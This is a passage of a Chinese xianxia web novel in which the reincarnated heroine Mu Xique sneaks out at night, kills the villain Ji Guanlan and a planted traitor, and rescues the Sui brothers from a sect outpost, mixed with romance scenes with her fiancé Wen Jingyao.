闻惊遥看着她,只说:“我不会对你生气的。” 慕夕阙莞尔一笑,挣开与他相握的手,老老实实坐回去,捞起闻惊遥的手把玩,握剑多年,骨节分明,劲瘦有力,她抬手轻抚他虎口和指腹磨出的剑茧,恍惚间似乎又忆起了前世。 上辈子,他缉拿她入云川之时,用的便是这只手握剑,细长的青剑快若流星,一剑劈断了她的后路。 慕夕阙闲聊般说道:“那可不一定,日子还长着呢。” 闻惊遥垂眸,轻轻说了句:“你又不信我。” “我哪有不信你。”慕夕阙抬眼看他,略带嗔怒,“我不信你会和你成婚吗?” 闻惊遥喉口微滚,他的手还被她攥着,她无意识在用手指勾勾绕绕,极尽亲昵,有些磨人。 他便随着她玩弄,即使心知肚明她并无多少情分。 “我们明年便要成婚。”闻惊遥看着她。 他冷不丁说一句这种话,慕夕阙笑了笑,回道:“对啊。” “成婚后,我们会住在一起,同吃同睡,睡在一张榻上,交枕而眠。”闻惊遥目不转睛看着她的眼睛,顿了顿,声音略低,“我也并非坐怀不乱清心寡欲,夕阙,这些你都愿意吗?” 慕夕阙罕见被呛了下,自是能听懂他的意思。 她对闻惊遥的刻板印象导致她一直认为这人脸皮薄到就像一层纸,没想到还分场合,这会儿竟然能面无表情说出这些话,耳根都不带红一下。 慕夕阙如今性子沉稳不少,这种时候还能稳住,笑意加深,音调上扬:“天还没黑呢,闻少主就说这些话了?” 闻惊遥却只是看着她,她总觉得,他专注盯人的时候,能将人看穿。 慕夕阙半分不怂,反问他:“忽然说这些,难不成你爹娘催你传宗接代啊,毕竟闻少主是闻家嫡传独子。” “不是,我于血脉并无苛求,闻家家主也并非一定得是嫡传血脉,能者居之,是谁都无所谓。”闻惊遥矢口否认,只盯着她,似要她给个答案。 不知道他忽然问这个做什么,慕夕阙深知闻惊遥心思沉闷且细致,他问这些定有他的考量,慕夕阙耸耸肩,状似轻松地说:“你不是清心寡欲之人,我也不是啊,闻少主长得这般好看,我可不亏。” 话都这么说了,闻惊遥却半分不见欢喜。 他看了她片刻,喉口滚了滚,挤出声轻轻的回应:“嗯,好。” 以为他不信,慕夕阙无奈,竖起三指:“那不如这样,我发个誓,我若有欺骗你的地方,就让——唔!” 正喋喋不休说话的嘴唇被捂住,慕夕阙愣了愣,鼻翼中飘来淡淡的雪竹香,闻惊遥的掌心微凉,比她的体温低些,他看着她,目光专注。 慕夕阙活了太多年,早都忘了,从什么开始,闻惊遥看她的眼神便变了,不再似幼时的疏离礼貌,而是融化所有霜寒,温润情深到像是春风吹过,枝头冒出嫩芽,长出花苞。 “不用起誓,你说什么我都信的。” 闻惊遥偏头凑过来,将手拿开,在她唇上轻轻落下个吻,轻到好像一缕风飘过,她还未来得及感知,这吻便结束了。 “我喜欢你,自是信你,无论你做什么,我都不生气。” 闻惊遥退开了些,两人的目光交织在一起。 他抬手,轻轻抚摸她的眼尾,那双漂亮的眼睛能装得下淞溪所有人,看姜榆时的温柔,看蔺九尘时的信任,以看朝蕴时的依赖,看慕家弟子时的保护。 唯独看他时,像是蒙了层雾。 闻惊遥看着她说道:“今夜我要去和父亲肃查闻家账务,事务繁忙,不知何时能忙完,怕无法抽空来见你了。” 慕夕阙眸光微动,抬手握住他的手腕:“看账簿我可帮不了你,那我今夜早些睡,你别担心。” 不知他为何告知自己今晚的行程,但他今夜不出现,她便少了个大麻烦。 “好。”闻惊遥将她搂进怀里,他的下颌枕着她平滑的肩膀,闭上眼感知她的气息,轻声说,“夕阙,你今夜早些睡,不要乱跑。” 慕夕阙抬手轻拍他的脊背:“放心,去忙你的事吧。” 天边最后一缕霞光落进山头,夜幕笼罩东浔主城。 慕夕阙坐在主殿内,屋内并未点灯,好似人已经睡下了。 昏暗之中,搁在桌上的慕家玉符亮了一瞬,接着一道压低的声音传来。 “二小姐,您猜得对,应祈今夜出城了,三名慕家暗桩弟子已跟上。” “嗯,别跟太近。” 慕夕阙交代后便挂断玉符,起身换好衣服易了容,熟练从画墨阁后的后山翻过,避开弟子,靠着同心玉牌如入无人之地般穿过结界玉灵,仍旧从先前的小路出了城。 同心玉牌给她省了太多麻烦,起码不用想办法躲过闻家玉灵。 袖中的慕家玉符隔一段时间便会向她汇报应祈的位置,慕夕阙便朝着那处赶去- 地洞里阴湿凄冷,因常年不见光,蛇虫鼠蚁遍布。 身穿金色华服的少年蜷缩在最深处,身下只有个草席垫身,他的额头抵着墙,凌乱如杂草的发遮挡了俊秀的脸,闭目似在休憩。 地牢内走进一人,单手拎着个轮廓不明的东西,瞧着像是个人。 “你倒是睡得好。”季观澜走进,冷眼瞥向角落里的人影,将手上拎着的人重重砸过去。 “唔!”被砸去的人发出一声闷哼,瘦削的身子上全是血淋淋的伤痕。 闭眼休憩的少年惊醒,定睛看去,陡然瞪大眼睛:“应祈!” 为防他逃跑,鹤阶将随安的双腿打断,他便只能拖着碎了骨头的腿爬去,拨开应祈混乱的发,看到好友遍体鳞伤,狠狠抬眸看向季观澜:“要杀要剐冲我来,动我朋友,你便这般无能,只会迁怒无辜的人!” 季观澜在他身前蹲下,笑着说道:“随小公子有空冲我发火,不如想想,你这好朋友到底是因为谁才落得个如此境地?” 随安艰难坐起身,将吐血的应祈护住,狠狠道:“我说了,我听不懂你们说的什么,什么木盒,我不知道,我爹就没告诉过我!” 季观澜眯了眯眼:“随小公子似乎记性不好,若不再想想呢?” 随安半分不怵,扬起下颌骂道:“要杀要剐随你便,我哥修为强盛,定会为我复仇。” “你哥?”季观澜像是听到什么笑话,冷不丁笑起来,眼尾褶子都炸开了花,“你哥不就是为了你这个蠢货才被鹤阶拿捏了吗?他就关在距此几十里外呢!” 随安眨了眨眼,反应过来他说什么,瞳仁微缩,猛地推了季观澜一把:“你们卑鄙!” 季观澜岿然不动,随手挥出灵力,摁碎了随安方才推他的那只手的腕骨。 随安倒地,单手颤抖,额头渗出冷汗,愣是咬着牙一声不吭,像只暴怒的小狼般瞪向季观澜。 季观澜抬手一张,无形灵力将被随安护在身后的应祈猛地拽过来,他单手掐住应祈的脖颈。 “应祈!”随安大喊一声,想要扑过来,可他的灵力被禁锢,只靠凡人之躯根本无法近季观澜的身。 季观澜漠然看着他怒吼,扼住应祈脖颈的手缓缓收紧,感知到窒息威压的应祈渐渐苏醒,猛地睁开了眼,双手无力扒着季观澜的手背,在上面挠出一条条血痕。 随安趴在地上,眼底赤红,声嘶竭力:“放开他!” “我再问你一遍,你爹当年交给你的木匣子在何处?”季观澜面无表情,单手收紧,“不说,我就先杀了你的挚友,再杀了你的兄长。” “我不知道!我不知道啊!”随安崩溃大喊,见应祈涨红了脸却仍艰难冲他摇头,示意他不要说,几乎心神俱裂。 他一向重义气,没想到他无能被抓,却会连累最好的朋友和自己的兄长。 季观澜收紧力道:“你说不说?” “不知道,真的不知道!” “他的喉骨要碎了,接着我会立马去让人杀了你兄长。” “季观澜!” “你确定不说?” “放开他!” 随安能听到骨头碎裂的声音,应祈已经因窒息翻了白眼,只差一步就会彻底被他扭断喉骨死去。 他心神全无,涕泗横流毫无形象,站也站不起来,只能看因为自己被折磨了这么多天的挚友如今将要被扼死在眼前。 季观澜瞧见他慌张的模样,唇角勾了勾,说道:“真可惜,你的好朋友可是重刑之下都没吭一声,一心与你站在一起,可你无情无义,那我便只能杀了——” “我说,我说!” 在他的手将要摁碎应祈的喉骨之前,随安崩溃大喊,打断了他。 季观澜陡然松手,应祈跌在地上,捂着喉咙大口喘气。 随安慌忙爬过去:“你,你还好吗,对不起,对不起是我连累了你,是我连累了你。” 他尚年轻,一直被兄长保护着,不知世间险恶,与兄长一般重情重义,见不得任何人因自己而遭受磨难,愧疚几乎压垮了他,随安痛哭。 应祈的声音像破败琴弦:“没,没事……没事……” 随安更是愧疚,几乎哭嚎出声:“对不起,对不起……” “啧。”季观澜似乎不耐烦了,“告知我在何处?” 随安抬眸,赤红的眼睛看着他,冷声道:“你先放了我的朋友和我兄长,我便带你去找。” 季观澜微微眯眼,对上随安坚定的目光,恍然笑了声:“够谨慎,好,来人。” 他抬手便要招呼门口守卫的弟子过来,可话音落下,也未有人前来。 季观澜皱了皱眉,鼻尖微动,嗅到一股若隐若现的血气。 下一刻,他的脸色瞬间冷下,侧身迅速闪躲,避开从幽深通道尽头砸来的刀,刀身划过之处留下厉然冷风,长刀深深扎进坚硬的石壁,只露出刀柄在外。 那是门口一名守卫弟子的佩刀。 变故突然,随安琢磨不通,只能拖着应祈往角落里躲。 “啧,还不放下他,傻小子?” 冷不丁的,随安听见道语调清淡,却又夹杂明显嫌弃之意的声音响起,在这空旷的地洞内分外清楚。 随安懵懵回道:“啊?骂的是我吗?” 一人走出黑暗,高挑修长的身影裹了身单薄的黑衣,满头青丝束成马尾,那张脸陌生又普通。 慕夕阙皱眉看他,目露嫌弃:“随泱怎么会有你这么个傻子弟弟,有这功夫演兄弟情深,不如探探你这好兄弟身上的伤究竟是不是真的?” 随安懵懵看她,刚要看向自己身旁昏迷的应祈。 利光直逼面门,方才还奄奄一息的应祈宛若被厉鬼夺舍,倏然睁眼,眸底阴狠,拔出袖中短刀朝随安扎来。 随安尚未反应过来,刀尖已经到了面门。 ——铮。 短刀被击飞,一把掷来的飞镖势如破竹,带出的余风化为利刃,割破了应祈的脖颈。 离得太近,鲜血喷溅在随安脸上,腥热的血气让人作呕,随安眨了眨眼,反应过来,忙大喊:“应祈!” 慕夕阙没工夫搭理这傻子,侧眸看向季观澜,十几丈外,季观澜抽出腰间长刀,小心谨慎看着她。 “方才在外也算是听明白了,应祈这人瞧着便像从小接受系统训教了,如果我没猜错,你们培养了不少年轻弟子送入各大门派,而应祈则是你们送去这随傻子身旁当朋友的,取得信任后,应祈便助你们抓到随安,威胁随泱。” 慕夕阙步步走近季观澜,边走边说:“随安重情重义,你们再演一出因受他牵连,挚友被捕,誓死不屈的戏码,最管用了,毕竟他正是不知江湖险恶,满心救世之情的年纪。” 她说得大差不差,正在痛哭的随安也止住了泪,刚察觉应祈身上因“受刑”留下的伤只是假象。 他怔愣坐在地上,备受打击。 季观澜皱眉,警惕看着慕夕阙:“阁下哪位?” 慕夕阙冲他笑笑,简短说道:“几日前,东浔主城外,旷悬仙长。” 最后一个字刚落地,她猛然拔剑,瞬息瞬移至他面前。 季观澜瞳眸微颤,一颗心猛地提起,再不敢轻敌,弯刀与长剑相撞,虎口一阵战栗,他咬牙生抗,心下暗骂这女子力道怎这般大。 这人年纪不大,招式颇狠辣,剑招锋利无敌,身法快到极致,只留残影,短短十几息功夫,他只觉得腕间发麻。 鹤阶的人都知晓了旷悬的事,一百多个鹤阶弟子连带一个化神境修士都能杀了,那凶手恐怖如斯,如今竟让他撞上了。 季观澜也已至元婴满境,可旷悬一个化神境都敌不过的人,更何况他? 他逐渐应付不及,完全琢磨不来面前的人乱七八糟的招式,毫无体系,仿佛将千百门功法杂糅融为一体,打出了一套自己的术法。 他们来回过了半刻钟的招,季观澜已受了伤,心神更是不稳,心知自己不是她的对手。 “阁下,我也只是一个替人办事的喽啰,无心与你为敌,你若想救人便救,何必杀人呢?”于纷乱如雨的刀光剑影中,季观澜手忙脚乱,语速极快。 剑光爆发,慕夕阙越打越狠,听闻此话于忽然抬眸,冲季观澜笑了一下。 “实在抱歉,今日我可不仅是来救人的。” 话音落,黑影迅速逼上前,将季观澜逼至尽头。 他无处可逃,身后便是坚硬石壁,只能生生挨下她这一剑。 弯刀与长剑相撞的刹那,反冲的巨大威力几乎震碎他的腕骨,手上一松,弯刀被人夺走,随后利光一闪而过,紧接着脖颈温热,喷溅而出的鲜血成了血红的线,星星点点落在他的脸上。 季观澜捂着脖颈,鲜血沿着指缝渗出,滴落在地,凝成水洼。 他于死亡的恐惧中,听到她问: “这柄刀滋味好受吗?” 作者有话说:小慕仇人-1[抱拳] 随家的木盒子事关特别重要的剧情伏笔啦,明天看看能不能加一更写到[撒花] 第30章 第 30 章 秘密 解决完季观澜, 慕夕阙扔掉季观澜的弯刀,取出手帕擦掉脸上令她厌恶的血迹。 将自己身上的血擦干净后,她弯腰拽下季观澜腰间的玉牌, 在季观澜的衣袖上蹭去沾染上的血。 慕夕阙抬眸,冷眼看着季观澜仍在渗血的脖颈, 前世他用那柄刀割了朝蕴的脖子, 从那日起,她便已经安排好季观澜的死法了。 可慕夕阙重返十三州后,得知的却是季观澜已死的消息, 凶手不知,兴许是寻仇,总之季观澜的命没落到她手上。 如今隔了一世, 她终于得以为朝蕴雪恨。 慕夕阙起身回头, 瞧见随安还是那副呆若木鸡的傻样, 他坐在地上, 愣愣看着应祈的尸身, 或许被保护得太好了,不知人心叵测,世事错综复杂。 她朝他走近, 在他身前蹲下,抬手捏捏随安宽袍下的腿骨。 察觉到疼, 随安终于回神, 倒抽一口凉气:“嘶,疼疼疼!” 慕夕阙抬眸看他:“现在知道疼了, 方才我看你在地上爬得挺快啊。” 随安脸色煞白,瘪瘪嘴,模样瞧着委屈极了:“那他在这里, 不蒸馒头争口气,可不得装得有点骨气。” “装得有骨气?” “……也不全是装,在下还是有那么几分骨气的。” 慕夕阙笑了下,视线一瞥,示意他看应祈的尸身:“给你上一课,不要轻信他人,你可不知对面的人揣着什么样的心,你兄长教你害人之心不可有,可有教过你防人之心不可无?” “教过,他老说让我提防别人。”随安往地上一躺,备受打击后整个人都显得蔫蔫的,“可若是防这个防那个,哪能交到真心朋友呢,交友就得竭诚相待啊,不然会很累的。” 他别过头,看着慕夕阙,问道:“道友,你说呢?” 随安年岁不大,与慕夕阙相仿,心智却比她要稚嫩得多,他生了张与随泱不太像的脸。 随泱的五官倾向于漂亮精致,却总穿得五颜六色闪耀缤纷,像是个行走的金锭子,生生拉低了整个人的气质,而随安虽也是一身金服,却因着生了张娃娃脸,瞧着像是哪个世族不问世事的大少爷般。 慕夕阙在他身上看到了自己的影子,她过去也是这般,对谁都以诚相待,坦荡磊落。 “那你真心实意换来的结果是什么呢?”慕夕阙的余光落在应祈尚没凉透的尸身上,见随安面如菜色,她又笑笑,“诚心交友并无错,只是没碰到好人罢了。” 她站起身,问道:“我要去救你兄长,你还知道什么吗?” 一提到随泱,随安立马急了起来,强撑着靠墙坐起。 “我跟我兄长吵架来投奔应祈,谁料中途被鹤阶抓住,此后我再未得知他的消息,但是季观澜方才说我兄长就关在附近几十里外,道友,你是他找来救我的吗?” 慕夕阙道:“距此几十里外确有鹤阶暗桩,你兄长大抵关押在那里,我得问你一件事。” 随安立马道:“你说,我知道的一定会说。” 慕夕阙问:“季观澜说的木盒子,是什么东西?” 随安脸色一僵:“……这个不能说吧?” 慕夕阙凑近他,眸光微沉:“我与鹤阶有深仇大恨,季观澜虽是千机宗的长老,实则是鹤阶派去应逐身旁的探子,他如此惦记你们随家的宝物,那定是鹤阶的命令,我必得知道为何鹤阶这般惦记,还请随小公子告知。” 随安一瘪嘴,委委屈屈说:“你都说请了,那你能把剑从我脖子上挪开吗?” 慕夕阙面无表情看着他,剑却仍横在他脖颈上。 随安两手一摊,有气无力说道:“那木盒子是我爹死前给我的,只有我可以打开,连我哥都不能,是他十三年前忽然带回的东西,不是我家祖传的宝贝。” “十三年前?”慕夕阙又追问了一遍。 “十三年前,我记得特别清,那一年我兄长刚好突破化神境界,虽然此后十几年境界再未有长进,但也足够我爹炫耀几年了。” 慕夕阙将剑收回,从乾坤袋取出夹板,捏捏他的腿骨,单手一扭,随安惨叫两声。 她取出夹板固定随安的双腿,麻溜干活,说道:“我帮你把断骨暂时接上,如今我没有医治的时间,你先将就着,别乱动。” 随安额头上渗出冷汗,咬牙撑着,一寸也不敢动,说道:“多谢道友。” 待固定好他的断腿后,慕夕阙在他面前蹲下:“上来,我先将你送到安全地方,安顿你后,我去救人。” 随安有些尴尬:“我挺沉的,你这般瘦……” 慕夕阙回头看了他一眼。 随安立马改口:“好嘞,谢谢道友。” 慕夕阙扯着他的胳膊毫不费力将他背上。 朝外走的时候,随安回头看了眼地上的应祈,眸底微微湿润,他重重吸了口气,厉然别过头不再看他。 路过洞门时,地上横七竖八倒了五六个鹤阶弟子的尸身,随安小声问:“道友,这些都是你杀的?” “嗯。”慕夕阙冷冷淡淡回了声,见随安不再说话,又闷闷笑了下,反问道,“可怜他们?” “那倒也不是,奸佞不除,世道不平,既杀的是坏人那便是做好事。”随安声音沉闷,“只是不理解,鹤阶做了这么多坏事,鹤阶弟子也没少横征暴敛,为虎作伥,为何鹤阶还能在十三州有如此盛名?” 慕夕阙没说话,背着随安沿着山路走,周遭黑沉沉的,虫鸣声一阵一阵,略有些聒噪,有大腿高的荆棘上长有利刺。 随安撅了一根木棍,替她开路,见她背着一个身高八尺的男子,还能在陡峭山路如履平地,不由感慨:“道友,你不累吗?” “不累,闭嘴。”慕夕阙额头一跳,脚步加快几分。 若非随安是随泱的亲弟,她又怎会来救这傻小子,随安倒是与姜榆的性子像了八成,被保护太好不知险恶,对谁都有最纯粹的善意。 于旁人来说略显陡峭的山路,对慕夕阙而言确实家常便饭,前世整个十三州的深山她基本都钻过,这点荆棘丛倒也不算什么,她熟练绕过,不过两刻钟便带着随安来到了一处空旷的林地。 慕夕阙将随安搁在地上,扔给他一瓶丹药:“半刻钟后,会有人来接你去安全的地方,我去救你兄长,你给我一件你的信物。” 随安背靠一株巨树,面无血色,一路上因颠簸牵扯到了身上大大小小的旧伤,但却始终没喊一声疼。 闻言,他忙从袖中拽出枚玉符:“道友,这是我随家玉符,我和我兄长一人一枚。” “若你兄长不信我呢?” “这……”随安挠挠头,想到什么,又忙道,“你就跟他说,他做的番薯其实很好吃,我上次说的是气话……” 随安有些蔫,低着头,嘟囔道:“我不是有意跟他吵架的,是我错了,回去我就跟他认错,再也不离家出走了,对不起。” 他这么一说,慕夕阙倒明白了,随泱为何那般喜欢吃烤番薯,在海外仙岛那等地方都能圈一块地种番薯,番薯最泛滥的时候,两人曾连着吃了一个月的炒番薯叶和烤番薯。 慕夕阙抬头看了眼天,对正在低头反思自己的随安说道:“你别乱跑,在这里等人。” 随安指了指自己的腿:“我也跑不了啊。” 慕夕阙没理会他,拿了他的玉符转身就走,路上顺带传讯给慕家暗桩的弟子们。 “去这个位置,有个断腿穿着金服的人,带他去慕家暗桩,藏好他。” 说罢,她收起玉符,如今没有背着人便一身轻松,朝东南向急速奔去。 随泱是被白望舟以罪人之名当着众人的面带走的,与鹤阶私自抓捕的随安不同,随泱不必找个无人知晓的地方暗中关押。 而距随安关押的地方,六十里外,恰好有处鹤阶暗桩- 闻家主宅,账房内。 闻惊遥放下新看完的账簿,又取了一本新的。 桌案乃至他身侧的地砖上摞了几堆摆放整齐的账簿,纵使看了大半夜,他仍能坐得笔直,腰背挺拔,提笔圈圈写写。 闻承禺抽空看了他一眼,又慢悠悠收回视线,慢声说道:“今夜不去见你那位千金大小姐了?” 闻惊遥头也不抬,淡声回道:“夕阙早些休息了。” “司天监已合了你二人的生辰八字,婚期定在明年的二月。”闻承禺淡淡道。 闻惊遥顿住,愣神片刻,笔尖毫毛上的墨水便滴在宣纸上,迅速晕染,他回过神,用灵力祛除。 闻承禺道:“她是慕家未来的家主,你是闻家未来家主,婚后你们二人住在哪里由你们自己商量,左右淞溪和东浔也不远。” “好。”闻惊遥应下。 闻承禺翻开一本新的账簿,边看边问:“天罡篆不日便要择主了,鹤阶应会想办法阻拦你去夺天罡篆,闻家暗桩传回来的消息,你猜鹤阶倾向于谁?” “燕家。”闻惊遥语调平淡,未有波澜,视线从满页的字上移开,看向对面的闻承禺,“燕如珩。” “千年望族的燕家换了好几代家主,已不是当年攻杀祟种之时,以刚正不阿闻名的赤敛燕家,明面清正,背地早已勾结鹤阶,自燕家长子死后,如今燕家主甩手不管家事,实权都在燕如珩手上。” 闻承禺状似闲聊,余光却始终在闻惊遥身上:“你若想要夺天罡篆,便需跟燕如珩竞争。” “我知晓。”闻惊遥应道。 闻承禺又问:“他修为不弱,你有把握吗?” 闻惊遥回道:“我会全力去试的。” “好。”闻承禺将笔搁置在笔托上,看着闻惊遥,“若得了天罡篆,你便再难清闲了,鹤阶尔虞我诈,你深入其中,清净不得,也免不得有心之人淆惑视听,十三州定有人会曲解你。” 闻家素来以守节不移为规,如今却主动推选自家少主为鹤阶圣尊,言行不一,难免有人会传些闲话。 众口铄金,人言可畏,黑的也能描成白的,闻惊遥当然知晓。 他端坐垂眸,目光落在搁置在桌案旁的青剑上,剑身尚在鞘中,露出的剑柄顶端挂了个剑穗,那是她送的燕尔玉。 许久后,少年道:“这世上谁都可以不信我,只要她信我,我便可以走下去。” 可她什么时候才会真的信他? 闻承禺面色沉着,却似无声叹了口气,并未多言,低头继续翻看账簿。 下一瞬,他搁置在桌案上的玉牌亮了瞬,紧接着,闻惊遥的玉牌也亮了起来。 闻承禺的家主玉牌有两枚,一枚在成婚那日便给了庄漪禾,可庄漪禾前些时日将其给了闻惊遥,如今这父子两个手上各有一枚,皆都亮了红光。 传信的人有紧要之事。 闻承禺皱眉,接通玉牌,沉声道:“出了何事?” 玉牌对面的弟子急匆匆道:“家主,闻家暗桩查到季观澜的踪迹了,但似乎有人比我们快了一步,赶到之时,他已经死了!死状熟悉,仍是一剑封喉,像极了先前杀害闻长老和旷悬仙长的人!” “季观澜尸身尚温热,凶手应刚走不久,闻家弟子们已去追捕。” 闻承禺陡然抬眸,看向闻惊遥。 闻惊遥知晓他的意思,执起自己的佩剑起身,拱手道:“我去追。” 不等闻承禺回答,他抬步往外走,跃上房檐,身影转瞬消失。 肩头那柄匕首捅出的伤似又隐隐作痛,在奔往城外的路上,闻惊遥路过尚未宵禁的东浔主城,低头去看。 民安物阜,盛世泱* 泱之貌,强大的结界玉灵保护着整个东浔主城。 但那人可以出城杀人- 慕夕阙一路瞬移至鹤阶暗桩外,与其余世家在各大州的暗桩不同,暗桩本就应如其名暗中运作,可鹤阶的暗桩毫不低调,光明磊落直挺挺竖立着,半分不遮掩。 鹤阶打着保护十三州的由头设立暗桩,也笃定了无人敢驱逐他们,连面子功夫都不做。 慕夕阙纵身跃上一株巨树,借着枝叶的遮挡粗略一看,把守的人应有五十余个,她只觉察到两个高境修士的气息,其中一个应当是随泱,另一个则是白望舟。 白望舟不好对付,起码慕夕阙知晓,如今以她元婴满境的修为,不是能横行一方的绝世大能,能打赢那么多场架靠的全是自己上辈子近身厮杀百年练出的经验,以及她毫无招式、无律可寻的术法。 但白望舟不一样,他擅毒,且修为深不可测,比旷悬还让人摸不透,若正面硬刚,慕夕阙输的概率很大,不仅人救不出来,反而会和随泱一起搭进去。 她对自己的实力有认知,所以得先把白望舟引出去。 慕夕阙拿出季观澜的玉牌,这是鹤阶的令牌,她抬手扼住自己的喉咙,清了清嗓子,开口试了声音。 是个低沉的男声。 易容术可不仅改变外貌,还能在一定范围内改变身形和声音。 慕夕阙输入灵力,上辈子和鹤阶的人打了那么多次,早已对鹤阶玉牌熟练婉转,她轻易便能打开联络通路,玉牌亮了几下,被人接通。 白望舟的声音自里面传来:“季长老,事情可办妥了?” 慕夕阙重重咳嗽,状似伤重:“白长老,有人来劫人,我看其手法,应是杀害闻时烨和旷悬仙长的凶手!” 白望舟声音顿时冷下:“你确定?” “是,我正在追。”慕夕阙又咳了几声,好似喉中有血,堵着喉口,声音也模模糊糊,“她将随安劫走了,朝洞口东南方向奔逃,我还未得到木盒的消息!” “废物!”白望舟那边果然怒了,有桌椅到底发出的哗啦嘈声,紧接着是急匆匆的脚步声,“等我来,敢放走随安,我定要你提头来见!” 慕夕阙捂着嘴,艰难道:“是!” 玉牌被人挂断,慕夕阙将身影往枝叶内藏了藏,冷眼看着白望舟带了一队弟子快步走出暗桩大门,只留下十几个弟子看守。 随安的重要性比随泱大多了,毕竟木盒在随安身上,而随泱只是鹤阶利用的一枚棋子,因此得知随安被劫走的消息,白望舟定是勃然大怒心慌焦急。 慕夕阙确认他们彻底走远,已瞧不见众人身影。 又等了半刻钟后,她拔出腰间的剑,纵身跃下古树,只余一道纤细的暗影快速逼近,眨眼间便到了看守之人的眼前。 众人惊骇,还未来得及拔剑,眼前剑光一闪而过,根本容不得他们反应,瞬息抹了他们的脖子。 暗桩不大,占地不足百亩,慕夕阙一路冲进去,待杀到最后一人面前时,她横剑抵住那名弟子的脖颈,低声问道:“随泱呢?” 那弟子快吓哭了,哆哆嗦嗦指着后面:“在,在尽头的屋子里,道友饶——” 话没说完,慕夕阙已厉然抹了他的脖颈。 人已倒地,她抬脚从他身上跨过。 饶命? 这些年仗着鹤阶和其余世家的庇护,对流民肆意杀戮,对百姓豪干暴取,对小门派极尽打压,替主子办伤天害理之事时,可有听过受害者的一句“饶命”? 上辈子她也曾放过鹤阶的弟子,直到亲眼瞧见那些被她放走的弟子是如何灭人满门、极尽敛财的凶恶贪相,她才明白,虚伪的善心只会害人害己。 慕夕阙走到尽头的屋内,抬手便劈,连门带拴尽数化为木屑。 她抬步走进,看着坐在木椅中的人,未见其脸,先被晃眼。 慕夕阙闭了闭眼,上辈子许是她体质特殊,竟真的看顺了他这一身叮呤咣啷的金饰,如今重活一世,跟闻家那些清淡素雅的人待久了,眼睛被治愈后,再受不得这等刺激。 随泱瞪大眼,身子后仰,满脸抗拒:“你谁啊?” 慕夕阙走上前,冷声道:“跟我走。” 随泱皱眉:“我不走。” “随安已被我救走。”慕夕阙直接祭出随安的玉牌,怼到他面前,“你阿弟说你烤的番薯很好吃,他说对不起你,希望你回去还给他烤番薯。” 随泱愣了愣,恍若变了个人,果断站起身:“你早说啊,走走走,在鹤阶这里呼吸一口空气我都觉得自己的肺腑遭到了污染。” 他也不问她是何人,又为何来救他。 慕夕阙也没打算现在解释,从她闯入鹤阶暗桩的那刻,白望舟便应已知晓这是调虎离山之计,以他的修为返回只需要一刻钟,如今怕是快回来了。 两人一路快速奔移,路过鹤阶的弟子尸身时,随泱咂舌啧啧道:“你这也是够心狠的。” 慕夕阙瞪他一眼,随泱立马闭嘴。 可纵使他们跑得再快,刚离开鹤阶暗桩没多久,一道厉光从身后炸来,两人脸色同时一变,向左右两边各自退开。 刀光从他们中间劈下,落至地面,泥土如蛛网般裂开,轰然塌陷。 慕夕阙回头去看,白望舟悬立在一株参天巨树上,一手握刀,一手背在身后,正笑盈盈看着他们。 “我总算见到你了啊,这位道友。”白望舟看向慕夕阙,明明在笑,笑意却半分不达眼底,“一个年轻后辈,三番两次坏鹤阶好事,公然与鹤阶作对,不仅知晓鹤阶玉牌如何使用,还敢耍我?” 最后一个字刚落地,慕夕阙眼前一晃,方才还在树上的白望舟陡然消失不见,再一眨眼,那柄长刀已劈到她身前。 慕夕阙冷脸旋身躲过,随泱也快速朝她奔来,截住白望舟再次朝她劈下的长刀。 只过了一招,慕夕阙便已大致猜出白望舟的境界,应早已至化神中境,比她和随泱都要强悍。 白望舟应是独身追来,鹤阶弟子速度慢尚未跟上,慕夕阙和随泱一左一右与白望舟缠斗,他又擅毒,两人得十分谨慎确保不能被他的刀划出任何一个伤口,打得束手束脚。 一连过了几十招,慕夕阙听见有多人逼近的声音,脸色冷沉,和随泱对视一眼,两人都明白那是鹤阶弟子追来了。 不能久战。 慕夕阙毫不犹豫,绕至白望舟侧方假意露出破绽,引白望舟放弃随泱转而攻向她,长刀朝她砍来的刹那,也是白望舟暴露短板之时。 随泱一掌蕴出灵力,轰然拍至白望舟脊背,灵力凶猛冲撞在他的经脉中,瞬间引起他体力灵力混乱膨胀,趁他呕声吐血之时,慕夕阙趁机抽出袖口匕首,一刀割了白望舟的脚筋。 趁他跪地,她正要接着补刀,随泱一把拽住她:“走,他要放毒了!” 话音刚落,白望舟抬起赤红的眼,宽袖一挥,灵力吹着浓雾朝他们逼来。 随泱瞳眸微颤,抬起宽大的衣袖替慕夕阙挡住袭来的毒气,一缕毒却窜入他的鼻息,慕夕阙反应迅速,急忙点住他的所有穴位,将随泱背上,又燃了个瞬移符篆,用了灵力加速离开。 重生以来,除去杀闻时烨那晚被闻惊遥堵个正着,之后的事情一切都在她的掌控中,这是第二次令她有失控的感觉。 她没听到身后白望舟追上来的脚步声,她割了他的脚筋,一时半会儿他追不上来,但她不敢停。 “随泱,吃了这颗丹药!”慕夕阙抽空将一枚千金的解毒丹递过去,直接打入随泱嘴里。 背上的随泱一直在吐血,呕出的血顺着她的肩膀滑落,让她恍惚间想到上辈子。 随泱为了替她撕开那条路,身上几乎被砍成了筛子,到最后自爆金丹才为她挣得逃走的机会。 他一人顶着上百个鹤阶弟子,对她说:“如果你遇到一个叫应祈的人,一定要帮我杀了他,这便报了我的恩了,慕二小姐,走!” 慕夕阙感受到吹来的冷风,一同刮来的还有随泱身上浓重的血气,白望舟的毒实在诡异,从他的肺腑开始侵袭,他逐渐神志不清,被她背着奔跑,一路颠簸,身上那些金饰也叮叮咚咚响着。 随泱挣开模糊不清的眼睛,笑了笑,说道:“慕二小姐,你的易容术似乎失效了。” 慕夕阙没空管自己这易容术失效与否,她冷着脸,头也不回,背着一个比自己重上许多,还挂了满身金饰的人在林间奔移。 随泱一张口就涌出大口的血,只能艰难捂着嘴,磕磕绊绊说:“放,放我下来,你走。” 慕夕阙面无表情堵回去:“闭嘴,我要救的人便是踏进鬼门关了,我也得给他拽回来。” “不管你为何要救我,我,我总觉得你是个,是个好人。”随泱捂着嘴,血水却还是堵不住,“我交代你个事情,你得告知,告知随安。” 他说话磕巴,一句话要结巴成好几句,强撑着神智说话。 慕夕阙扭头便骂:“要说你自己去说,回去便将你这一身乱七八糟的金饰都扔了,重死了!” 随泱闷闷笑笑,半分不生气,低声说道:“随家木盒……是当年陈家灭门时,我父亲去救人,救人之时拿回来的,鹤阶一直,一直在找。” 他加注灵力,硬生生提了一口气,用尽力气说道:“慕二小姐,那木盒事关天罡篆,更事关整个鹤阶还能否在十三州站稳脚跟。” “天罡篆,不是鹤阶的东西。” 